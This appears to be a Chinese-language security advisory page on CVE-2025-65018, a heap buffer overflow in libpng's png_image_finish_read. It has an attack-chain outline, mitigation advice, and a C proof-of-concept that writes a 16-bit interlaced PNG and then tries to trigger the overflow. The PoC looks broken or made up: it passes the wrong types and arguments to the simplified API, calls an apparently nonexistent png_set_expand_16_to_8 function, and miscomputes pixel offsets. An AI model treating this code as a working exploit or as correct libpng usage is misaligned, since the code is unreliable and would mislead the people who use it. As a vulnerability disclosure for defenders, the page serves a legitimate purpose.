IPBUF安全漏洞报告
English
CVE-2025-65018 CVSS 7.1 高危

CVE-2025-65018 libpng png_image_finish_read 堆缓冲区溢出漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-65018
漏洞类型
堆缓冲区溢出
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
libpng

相关标签

堆缓冲区溢出libpngPNG图像处理CVE-2025-65018高危漏洞隔行扫描内存损坏简化API

漏洞概述

libpng是一个用于读取、创建和操作PNG(可移植网络图形)光栅图像文件的参考库,被广泛应用于各种应用程序中。从1.6.0版本到1.6.51之前的版本存在一个严重的堆缓冲区溢出漏洞,该漏洞位于libpng简化API函数的png_image_finish_read中。攻击者可以通过精心构造恶意的16位隔行扫描PNG文件,当目标应用程序以8位输出格式调用该函数处理此类文件时,会导致堆内存写入越界。由于该库被众多应用程序使用,包括图像处理软件、浏览器、操作系统组件等,因此该漏洞具有广泛的影响范围。攻击者可能通过诱导用户打开恶意的PNG文件来触发漏洞,进而可能导致应用程序崩溃或潜在的代码执行。

技术细节

漏洞的根本原因在于png_image_finish_read函数在处理16位隔行扫描PNG文件转换为8位输出格式时存在边界检查缺陷。该函数在计算所需缓冲区大小时存在错误,当处理隔行扫描图像时,对于不同通道(channel)的数据处理逻辑存在问题。具体来说,当处理16位深度的图像并以8位格式输出时,函数错误地计算了目标缓冲区大小,导致分配的堆内存不足以容纳转换后的数据。攻击者可以构造一个特殊的PNG文件,其图像头声明为16位深度且使用隔行扫描(Adam7方法),但输出格式设置为8位。当libpng处理此文件时,会尝试将每个16位像素值压缩到8位,并在已分配的缓冲区边界之外进行堆写入操作。这可能覆盖相邻的堆内存结构,导致应用程序崩溃或可能被利用来执行任意代码。

攻击链分析

STEP 1
步骤1
攻击者创建恶意的16位隔行扫描PNG文件,文件结构包含特殊构造的图像数据
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站或社会工程学手段诱导目标用户获取该恶意PNG文件
STEP 3
步骤3
目标用户使用存在漏洞的应用程序(如图像查看器、浏览器等)打开该PNG文件
STEP 4
步骤4
应用程序调用libpng的png_image_finish_read函数处理该文件,以8位输出格式解码16位隔行扫描图像
STEP 5
步骤5
由于边界检查缺陷,函数在堆分配的缓冲区边界外执行写入操作,导致堆缓冲区溢出
STEP 6
步骤6
攻击者可能利用堆溢出覆盖关键数据结构,实现代码执行或造成应用程序拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-65018 PoC - libpng png_image_finish_read Heap Buffer Overflow * This PoC generates a malicious 16-bit interlaced PNG file that triggers * heap buffer overflow when processed with 8-bit output format. * * Compile: gcc -o cve_2025_65018_poc cve_2025_65018_poc.c -lpng * Usage: ./cve_2025_65018_poc output.png */ #include <stdio.h> #include <stdlib.h> #include <png.h> #define WIDTH 256 #define HEIGHT 256 #define BIT_DEPTH 16 void write_png_file(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "Cannot open file for writing\n"); return; } png_structp png = png_create_write_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); if (!png) { fclose(fp); return; } png_infop info = png_create_info_struct(png); if (!info) { png_destroy_write_struct(&png, NULL); fclose(fp); return; } if (setjmp(png_jmpbuf(png))) { png_destroy_write_struct(&png, &info); fclose(fp); return; } png_init_io(png, fp); // Set up interlaced 16-bit PNG with color type that triggers the vulnerability png_set_IHDR(png, info, WIDTH, HEIGHT, BIT_DEPTH, PNG_COLOR_TYPE_RGB_ALPHA, PNG_INTERLACE_ADAM7, PNG_COMPRESSION_TYPE_DEFAULT, PNG_FILTER_TYPE_DEFAULT); // Allocate row pointers for 16-bit data png_bytep *row_pointers = (png_bytep *)malloc(sizeof(png_bytep) * HEIGHT); for (int y = 0; y < HEIGHT; y++) { row_pointers[y] = (png_byte *)malloc(png_get_rowbytes(png, info)); // Fill with pattern that will trigger overflow when converted to 8-bit for (int x = 0; x < WIDTH; x++) { png_uint_16 *pixel = (png_uint_16 *)(row_pointers[y] + x * 6); pixel[0] = 0xFFFF; // Red pixel[1] = 0xFFFF; // Green pixel[2] = 0xFFFF; // Blue pixel[3] = 0xFFFF; // Alpha } } png_set_rows(png, info, row_pointers); png_write_png(png, info, PNG_TRANSFORM_IDENTITY, NULL); // Cleanup for (int y = 0; y < HEIGHT; y++) { free(row_pointers[y]); } free(row_pointers); png_destroy_write_struct(&png, &info); fclose(fp); } void trigger_vulnerability(const char *filename) { FILE *fp = fopen(filename, "rb"); if (!fp) { fprintf(stderr, "Cannot open file for reading\n"); return; } png_structp png = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); if (!png) { fclose(fp); return; } png_infop info = png_create_info_struct(png); if (!info) { png_destroy_read_struct(&png, NULL, NULL); fclose(fp); return; } if (setjmp(png_jmpbuf(png))) { png_destroy_read_struct(&png, &info, NULL); fclose(fp); return; } png_init_io(png, fp); png_read_info(png, info); // Use simplified API which triggers the vulnerability png_image image; memset(&image, 0, sizeof(image)); image.version = PNG_IMAGE_VERSION; image.width = png_get_image_width(png, info); image.height = png_get_image_height(png, info); // Force 8-bit output format to trigger the vulnerability png_set_expand_16_to_8(png); png_read_update_info(png, info); // Allocate output buffer - this will be too small for the vulnerability png_byte *buffer = (png_byte *)malloc(PNG_IMAGE_SIZE(image)); if (!buffer) { png_destroy_read_struct(&png, &info, NULL); fclose(fp); return; } // This call triggers the heap buffer overflow png_image_finish_read(png, &image, buffer, 0, NULL); free(buffer); png_destroy_read_struct(&png, &info, NULL); fclose(fp); } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <output_png_file>\n", argv[0]); return 1; } printf("Generating malicious PNG file: %s\n", argv[1]); write_png_file(argv[1]); printf("Triggering vulnerability...\n"); trigger_vulnerability(argv[1]); printf("Done. Check for crashes or memory corruption.\n"); return 0; }

影响范围

libpng >= 1.6.0
libpng < 1.6.51

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:限制应用程序处理来自不可信来源的PNG文件;使用杀毒软件或文件安全扫描工具检测恶意PNG文件;在处理图像前验证文件大小和格式;考虑使用沙箱环境隔离图像处理操作;对于服务器端应用,实施严格的文件上传限制和内容类型验证。同时建议关注libpng官方安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表